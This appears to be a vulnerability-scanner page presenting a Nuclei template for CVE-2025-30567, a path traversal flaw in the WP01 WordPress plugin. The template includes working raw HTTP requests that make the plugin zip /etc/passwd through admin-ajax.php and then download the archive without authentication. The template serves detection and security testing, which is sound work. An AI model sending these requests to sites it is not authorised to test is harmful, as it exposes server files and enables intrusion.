WordPress WP01 - Path Traversal

ID: CVE-2025-30567

Severity: high

Author: s4e-io

Tags: cve,cve2025,lfi,wp-plugin,wordpress,wp01,wp

Description

Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) vulnerability in wp01ru WP01 allows Path Traversal. This issue affects WP01: from n/a through 2.6.2.

YAML Source

id: CVE-2025-30567

info:
  name: WordPress WP01 - Path Traversal
  author: s4e-io
  severity: high
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in wp01ru WP01 allows Path Traversal. This issue affects WP01: from n/a through 2.6.2.
  reference:
    - https://github.com/Oyst3r1ng/CVE-2025-30567
    - https://patchstack.com/database/wordpress/plugin/wp01/vulnerability/wordpress-wp01-2-6-2-arbitrary-file-download-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30567
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-30567
    cwe-id: CWE-22
    epss-score: 0.00043
    epss-percentile: 0.09979
  metadata:
    verified: true
    max-request: 2
    vendor: wp01ru
    product: wp01
    framework: wordpress
  tags: cve,cve2025,lfi,wp-plugin,wordpress,wp01,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        target=passwd&path=/etc/

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wp-01-passwd.zip")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/wp01-backup/wp-01-passwd.zip HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/zip")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502203c312efb7477e3ae5b7939e016a29ed75e5105878c0d8a9b3235dc7920ccb810022100d823262f59ac4ca6038d801e50ba749379bb6e48272f958d54ebdaf4d66d7dc6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-30567.yaml"

View on Github